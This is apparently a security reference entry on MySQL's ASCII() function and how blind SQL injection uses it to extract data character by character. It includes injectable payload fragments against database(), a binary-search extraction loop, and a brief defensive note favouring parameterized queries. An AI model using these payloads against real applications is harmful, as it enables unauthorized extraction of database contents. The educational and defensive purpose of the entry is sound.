MySQL ASCII() Function

MySQL’s ASCII() function returns the numeric (decimal) ASCII code of the leftmost character of a string. In blind SQL injection, it converts string comparison into numeric comparison — bypassing MySQL’s case-insensitive collation and enabling precise character-by-character data extraction.

Function behavior

SELECT ASCII('A');      -- 65
SELECT ASCII('a');      -- 97
SELECT ASCII('abc');    -- 97 (only first character processed)
SELECT ASCII('');       -- 0
SELECT ASCII(NULL);     -- NULL

The case-sensitivity problem

MySQL’s default string comparison is case-insensitive (collation-dependent, typically utf8mb4_general_ci or latin1_swedish_ci). This means:

SELECT 'a' = 'A';       -- 1 (true) under case-insensitive collation

For boolean-based blind SQLi, this is a problem: you can’t distinguish uppercase from lowercase by direct comparison. ASCII() solves it by converting the character to its numeric code:

SELECT ASCII('a') = 97;   -- 1 (true)
SELECT ASCII('A') = 97;   -- 0 (false)

Blind extraction pattern

Combine ASCII() with SUBSTRING() (1-indexed) to extract any string one character at a time:

-- Extract the first character of the current database name
AND ASCII(SUBSTRING(database(), 1, 1)) > 100--
 
-- Binary search on each character
AND ASCII(SUBSTRING(database(), 1, 1)) BETWEEN 97 AND 122--   -- lowercase?
AND ASCII(SUBSTRING(database(), 1, 1)) = 109--                -- 'm'?

Full extraction loop (conceptual)

For each position i in target_string:
    Binary search on ASCII(SUBSTRING(target, i, 1)):
        > 128? > 192? > 224? ... until exact value found
    Map ASCII code back to character

Typical targets: database(), user(), @@version, table names from information_schema.tables, column values.

Optimization with ORD()

ORD() is similar to ASCII() but handles multi-byte characters — it returns the character code of the leftmost character regardless of encoding. For UTF-8 targets, ORD() may be more reliable.

Defensive note

ASCII() is a core string function and cannot be restricted. Defense is parameterized queries — not WAF rules on function names, which are trivially bypassed (e.g., ORD(), HEX(), CONV()).

Sources

See also